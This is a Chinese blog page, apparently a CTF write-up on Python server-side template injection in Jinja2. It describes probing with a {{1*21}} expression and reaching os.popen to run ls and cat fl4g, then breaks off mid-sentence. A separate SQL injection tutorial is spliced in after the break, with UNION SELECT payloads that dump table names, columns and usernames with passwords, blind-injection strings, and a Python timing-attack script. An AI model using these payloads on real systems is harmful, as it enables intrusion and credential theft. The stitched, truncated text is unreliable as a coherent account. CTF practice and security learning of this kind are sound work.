攻防世界CTF Web_python_template_injection

深入理解CTF:Web Python 模板注入漏洞解析
本文记录了学习模块注入的过程,特别是针对Web_python_template_injection问题。介绍了SSTI(Server-Side Template Injection)的工作原理,提到了Python中的Jinja2、Mako、Tornado和Django等框架可能存在的风险。通过os模块的探索,展示了如何利用模板注入读取服务器文件,如利用`os.popen`命令读取`ls`和`cat fl4g`,揭示了攻击者可能获取敏感信息的途径。

记录模块注入学习过程

题目:Web_python_template_injection提醒是模块注入

  • 在Jinja2模板引擎中,{ {}}是变量包裹标识符。{ {}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

模块注入测试:
网址输入“{ {1*21}}”页面显示21,说面存在“SSTI”
在这里插入图片描述在其他大佬的博客中收集的相关知识:

  • SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
    mako tornado django,php的smarty twig,java的jade
    velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

  • os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
    查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

  • instance.class 可以获取当前实例的类对象

  • class.mro 获取当前类对象的所有继承类

  • 每一个新式类都保留了它所有的子类的引用,subclasses()这个方法返回了

### CTF Web SQL注入题目及解法 SQL注入是CTF竞赛中Web安全类题目常见的考点之一,通常涉及利用SQL语法漏洞来获取敏感信息或执行恶意操作。以下是一些典型的CTF Web SQL注入题目及其解题思路。 #### 1. 确定字段数目 在SQL注入攻击中,确定数据库查询返回的字段数目是非常重要的一步。可以通过`ORDER BY`语句测试字段数目[^3]。例如: ```sql ?id=1' order by 1 --+ ``` 如果页面正常显示,则继续增加数字直到页面报错。假设测试结果如下: - `?id=1' order by 3 --+` 页面正常。 - `?id=1' order by 4 --+` 页面报错。 由此可以推断出字段数目为3[^3]。 #### 2. 利用联合查询(UNION SELECT)提取数据 一旦确定了字段数目,可以使用`UNION SELECT`语句从其他表中提取数据。例如: ```sql ?id=-1' UNION SELECT 1,2,database() --+ ``` 上述语句将返回当前数据库名称。进一步可以提取表名和列名: ```sql ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 此语句会返回当前数据库中的所有表名[^2]。 #### 3. 枚举表中的列名 在获取表名后,可以继续枚举表中的列名。例如: ```sql ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ``` 此语句将返回`users`表中的所有列名[^2]。 #### 4. 提取敏感数据 最后,通过联合查询提取敏感数据,如用户名和密码。例如: ```sql ?id=-1' UNION SELECT 1,concat(username,0x3a,password),3 FROM users --+ ``` 此语句将返回`users`表中的用户名和密码,并用冒号分隔[^2]。 #### 5. 时间盲注与布尔盲注 对于无法直接回显注入结果的情况,可以使用时间盲注或布尔盲注。例如: - 时间盲注:`?id=1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=104,SLEEP(5),0) --+` - 布尔盲注:`?id=1' AND ASCII(SUBSTRING((SELECT database()),1,1))=104 --+` 这些方法通过观察页面响应时间或状态变化来逐字符猜解数据库信息[^3]。 #### 示例代码 以下是基于Python的自动化SQL注入脚本示例: ```python import requests url = "http://example.com/login" payload = "' OR SLEEP(5)--+" data = {"username": payload, "password": "irrelevant"} response = requests.post(url, data=data) if response.elapsed.total_seconds() > 5: print("Time-based SQL injection is possible.") else: print("No vulnerability detected.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值